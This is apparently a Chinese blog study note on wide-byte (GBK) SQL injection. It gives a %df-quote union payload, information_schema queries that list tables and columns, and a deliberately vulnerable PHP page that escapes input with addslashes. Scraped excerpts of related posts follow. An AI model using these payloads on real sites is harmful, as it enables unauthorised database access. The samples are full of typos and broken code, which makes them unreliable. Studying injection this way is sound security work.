資料庫注入學習筆記7 寬位元組注入

2021-09-25 23:23:39 字數 1473 閱讀 9729

寬位元組注入條件:

寬位元組注入原理:

操作:

id =-1%df'uoion select 1, user(),3,%23
select table_name from information_schema.tables where table schema='sql' limit 0,1
select table_name from information_schema.table where table_schema = (select database() )limit 0,1
select colun_name from information_schema.columns where table_schema =(select database()) and table_name =(select table_name from information_schema.tables where table_schema=(select databse())limit 0,1)linit 0,1
這裡使用了三層巢狀,第一層是taable_schema,它代表庫名的巢狀,第二層和第三層是table_name的巢狀。可以看到語句中有兩個limit,前乙個limit控制表名的順序,後乙個則控制欄位名的順序。如這裡查詢的不是emails表,而是users表,則需要修改limit的值,後面操作如union注入所示,這裡不再重複。

**分析:

在寬位元組注入頁面中,程式get引數id,並對引數id使用addslashes()轉義,然後拼接到sql語句中,進行查詢,**如下:

<?php

$conn = mysql_connect('localhost','root','123456')or die ('bad!');

mysql_select_db('test',$conn)or emmsg("資料庫鏈結失敗");

mysql_query("set names 'gbk'",$conn);

$id="select * from users where id='$id'linit,0,1";

$result = mtysql_query($sql<$conn)or die (mysql_error());

$row = mysql_fetch_array($result);

if($fow)

else

?>

<?php

echo"

the query string is : ".$sql.""

";?>

當訪問id=1』時,執行的sql語句為:

select * from users where id='1\"

學習記錄 寬位元組注入 手工注入

學習記錄 寬位元組注入 手工注入 一 概念及原理 寬位元組注入其實質就是抓住資料庫為非英文編碼如gbk,通過傳入含特殊字元的sql語句,配合魔法引號被資料庫gbk編譯為漢字,從而達到溶解魔法引號的目的。二 注入步驟 大概步驟分為,判斷是否存在寬位元組注入 嘗試寬位元組注入 get傳參 1 判斷是否存...

SQL注入學習筆記

sql注入漏洞是由於sql語句的呼叫方法不完善而產生的安全隱患。一旦應用中存在sql注入漏洞,就可能造成如下影響。值得注意的是,以下影響中攻擊者都能夠直接對伺服器實施主動攻擊,而不需要使用者參與。根據資料庫引擎的不同,通過sql注入攻擊還可能會達到下列效果。sql注入攻擊能夠以開發者意想不到的方式改...

sql注入學習筆記

1.什麼是sql注入 sql注入就是指web應用程式對使用者輸入的資料的合法性沒有判斷,前端傳入後端的引數帶有資料庫查詢的語句,攻擊者可以構造不同的sql語句來實現對資料庫的操作。2.sql注入原理 sql注入漏洞產生需要滿足以下兩個條件。引數使用者可控,前端傳給後端的引數內容是使用者可以控制的 引...